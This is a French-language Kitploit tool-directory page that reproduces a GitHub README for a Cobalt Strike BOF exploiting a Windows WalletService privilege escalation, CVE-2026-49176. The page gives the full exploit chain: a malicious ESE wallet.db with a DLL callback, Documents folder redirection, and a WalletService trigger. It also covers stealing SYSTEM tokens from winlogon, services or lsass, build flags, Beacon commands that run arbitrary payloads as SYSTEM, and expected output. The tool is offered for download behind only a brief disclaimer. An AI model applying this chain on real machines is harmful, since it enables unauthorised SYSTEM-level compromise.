Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC autonome + BOF Cobalt Strike (commande SYSTEM sur session interactive) | Kitploit
Outils/GitHubGitHub/777erp/cve-2026-49176_bof
Escalade de PrivilègesExploitationPost-ExploitationRed TeamingDéveloppement de Charges Utiles
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC autonome + BOF Cobalt Strike (commande SYSTEM sur session interactive)

Voir le dépôt
4117il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) pour l'élévation de privilèges locale via le WalletService Windows (CVE-2026-49176, corrigé en juillet 2026).

Depuis un Beacon à intégrité moyenne (utilisateur standard), cet outil prépare une base de données ESE Wallet malveillante, redirige Documents, déclenche WalletService, et exécute une ligne de commande spécifiée par l'appelant en tant que NT AUTHORITY\SYSTEM sur le bureau interactif.

Arborescence BOF uniquement.
PoC PowerShell autonome d'origine : DavidCarliez/CVE-2026-49176_LPE_POC. Même cause racine de vulnérabilité ; livraison et lancement du processus post-SYSTEM différents.


Disclaimer

Réservé à la recherche en sécurité autorisée, à l'éducation et à la validation défensive.


Vulnérabilité (partagée avec le PoC d'origine)

WalletService résout FOLDERID_Documents en empruntant l'identité de l'appelant, puis revient à LocalSystem avant d'ouvrir :

<Documents>\Wallet\wallet.db

Un utilisateur standard peut initialiser cette base de données avec un rappel par défaut défini par l'utilisateur ESE (PATH\payload.dll!Export), pointer Documents vers un répertoire contrôlé, et appeler WinRT WalletManager.RequestStoreAsync / GetItemsAsync afin que le service charge la DLL en tant que SYSTEM.

Analyse : CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs PoC d'origine — chaîne d'élévation de privilèges

Identique : comment l'exécution de code SYSTEM est obtenue

Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete
ÉtapePoC d'origineCe BOF
Initialiser la base ESEwallet_ese_seed.exeIn-BOF Jet*A
Rediriger Documentsdocuments_path.exeIn-BOF SHGet/SetKnownFolderPath
Déclencher WalletPowerShell WinRTIn-BOF RoGetActivationFactory
DLL de rappelwallet_callback_shell.dllwallet_callback.dll

Différent : processus SYSTEM interactif après le rappel

WalletService utilise souvent un jeton SYSTEM filtré (pas de SeAssignPrimaryToken / SeImpersonate utilisable). CreateProcess* direct → 1314.

PoC d'origineCe BOF
Processus ciblecmd.exe codé en durLigne de commande fournie par l'opérateur
Méthode principaleService temporaire → shell_broker.exe → CreateProcessAsUserWVol de jeton depuis winlogon / services / lsass → spawn
RepliAucunSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Fonctionnalités

  • Commande Beacon unique pour n'importe quelle commande/fichier en tant que SYSTEM sur le bureau actif
  • Chaîne complète en un seul processus : préparation → initialisation → redirection → déclenchement → attente → restauration de Documents
  • Embarque wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
  • Spawn post-SYSTEM multi-stratégie + diagnostics result.txt
  • x64 uniquement

Exigences

ÉlémentExigence
Beaconx64, intégrité moyenne (non élevée)
CibleWalletService vulnérable (antérieur au correctif de juillet 2026)
CSCobalt Strike 4.x avec prise en charge BOF
CompilationVS 2019/2022 C++ + SDK Windows 10 (esent.h, WinRT)

Arborescence

bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Compilation

cd bof
build.bat
CommandeSortie
build.bat / build.bat bothDLL + broker + BOF x64
build.bat payloadDLL + broker uniquement
build.bat cleanSupprimer les artefacts
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Modifiez les chemins VCVARS64 dans build.bat si VS n'est pas installé par défaut.
Indicateurs critiques : /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sécurité de l'éditeur de liens CS BOF).


Utilisation

Chargement

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Rechargez après chaque recompilation.)

Commandes

beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Pas de guillemets externes si le chemin ne contient pas d'espaces.
  • Menu optionnel : Beacon → CVE-2026-49176 → Run command as SYSTEM...

Préparation sur la cible

%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Empaquetage

bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Sortie attendue

Ligne de tâche

[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Succès (illustratif)

[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= peut être winlogon, services, lsass, ou un chemin de broker.

Échecs courants

JournalSignification
JetAddColumn: -1003Problème de paramètre ESE
error=1314SYSTEM filtré ; nécessite vol de jeton / broker
STEAL_FAIL error=5Impossible d'ouvrir le processus/jeton cible
StartService error=32Violation de partage (atténuée via wrapper cmd)
detail=all_methodsToutes les stratégies post-SYSTEM ont échoué
Linker Unknown symbol '??_C@_...'Mauvais indicateurs de compilation BOF ; recompilez avec build.bat

Documents est restauré même en cas d'échec lorsque la redirection a réussi.


Architecture

cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Surface de détection

Télécharger l’outil